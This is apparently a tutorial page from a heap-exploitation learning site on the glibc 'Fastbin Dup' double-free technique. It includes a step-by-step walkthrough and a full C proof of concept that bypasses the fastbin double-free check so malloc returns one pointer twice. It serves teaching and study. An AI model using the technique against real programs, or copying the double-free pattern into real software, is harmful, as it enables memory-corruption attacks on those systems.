Skip to main content

Overview

Fastbin Dup is a classic double-free attack that exploits the fastbin freelist to trick malloc() into returning an already-allocated heap pointer. By carefully ordering free operations, an attacker can bypass the double-free check and create a duplicate pointer in the freelist.
Glibc Version Compatibility: Latest (tested on glibc 2.23 - 2.41)This technique works on modern glibc versions but requires filling the tcache first (on glibc >= 2.26).

What This Achieves

  • Duplicate allocation: Get malloc() to return the same pointer twice
  • Memory corruption: Modify the same memory region through multiple pointers
  • Heap control: Manipulate allocator metadata for further exploitation

Prerequisites

  • Ability to trigger multiple free() calls
  • Control over allocation order
  • On glibc >= 2.26: Need to fill tcache first (7 frees of the same size)

The Technique

Step-by-Step Walkthrough

1

Fill the tcache

On modern glibc (>= 2.26), allocate and free 7 chunks of the same size to fill the tcache. This forces subsequent frees into the fastbin.
void *ptrs[8];
for (int i=0; i<8; i++) {
    ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
    free(ptrs[i]);  // Fill tcache with 7 chunks
}
2

Allocate target chunks

Allocate three chunks. We’ll use the first one (A) for the double-free attack.
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
3

Free the first chunk

Free chunk A, placing it at the head of the fastbin freelist.
free(a);  // Fastbin: [a]
4

Free an intermediate chunk

Cannot directly free A again (double-free check). Free B first to move A away from the head.
free(b);  // Fastbin: [b -> a]
5

Free the first chunk again

Now A is no longer at the head, so we can free it again without triggering the check.
free(a);  // Fastbin: [a -> b -> a] (cycle created!)
6

Allocate and get duplicates

Allocate three times. The third allocation returns the same pointer as the first!
a = calloc(1, 8);  // Returns first 'a'
b = calloc(1, 8);  // Returns 'b'
c = calloc(1, 8);  // Returns 'a' again!

assert(a == c);    // Same pointer!

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple double-free attack with fastbins.\n");

    printf("Fill up tcache first.\n");
    void *ptrs[8];
    for (int i=0; i<8; i++) {
        ptrs[i] = malloc(8);
    }
    for (int i=0; i<7; i++) {
        free(ptrs[i]);
    }

    printf("Allocating 3 buffers.\n");
    int *a = calloc(1, 8);
    int *b = calloc(1, 8);
    int *c = calloc(1, 8);

    printf("1st calloc(1, 8): %p\n", a);
    printf("2nd calloc(1, 8): %p\n", b);
    printf("3rd calloc(1, 8): %p\n", c);

    printf("Freeing the first one...\n");
    free(a);

    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);  // This would crash!

    printf("So, instead, we'll free %p.\n", b);
    free(b);

    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = calloc(1, 8);
    b = calloc(1, 8);
    c = calloc(1, 8);
    printf("1st calloc(1, 8): %p\n", a);
    printf("2nd calloc(1, 8): %p\n", b);
    printf("3rd calloc(1, 8): %p\n", c);

    assert(a == c);
}

Key Concepts

The fastbin uses a singly-linked list (LIFO) structure. The double-free check only verifies that the chunk being freed is not at the head of the freelist. By freeing an intermediate chunk (B), we move A away from the head position, allowing it to be freed again.This creates a cycle in the freelist: [a -> b -> a]. When we allocate:
  1. First malloc returns A (head)
  2. Second malloc returns B (new head)
  3. Third malloc returns A again (following the cycle)
On glibc >= 2.26, the tcache was introduced as a per-thread cache that sits before fastbins. The tcache holds up to 7 chunks per size. You must fill it first (with 7 frees) to force subsequent frees into the fastbin, where this technique applies.
Starting with glibc 2.32, Safe Linking was introduced to make exploitation harder. However, this basic fastbin_dup still works because we’re not corrupting the forward pointer - we’re exploiting the logic of the double-free check itself.

Common Use Cases

  1. Overlapping chunks: Create multiple pointers to the same memory for UAF-style attacks
  2. Heap feng shui: Control heap layout by manipulating allocation patterns
  3. Primitive building block: Often the first step in more complex exploits

Defense Mechanisms

Modern glibc has several mitigations:
  • Tcache: Adds an additional layer before fastbins (glibc >= 2.26)
  • Double-free check: Verifies chunk is not at freelist head
  • Safe Linking: Obfuscates forward pointers (glibc >= 2.32)
However, this basic technique still works when you can satisfy the prerequisites.
  • Fastbin Dup Into Stack - Extends this to arbitrary write
  • Fastbin Dup Consolidate - Alternative approach using malloc_consolidate
  • [House of Spirit/techniques/house/house-of-spirit) - Complementary technique using fake chunks

Practice & Resources

Ret2 Wargames

Debug this technique interactively in your browser using GDB

References

Build docs developers (and LLMs) love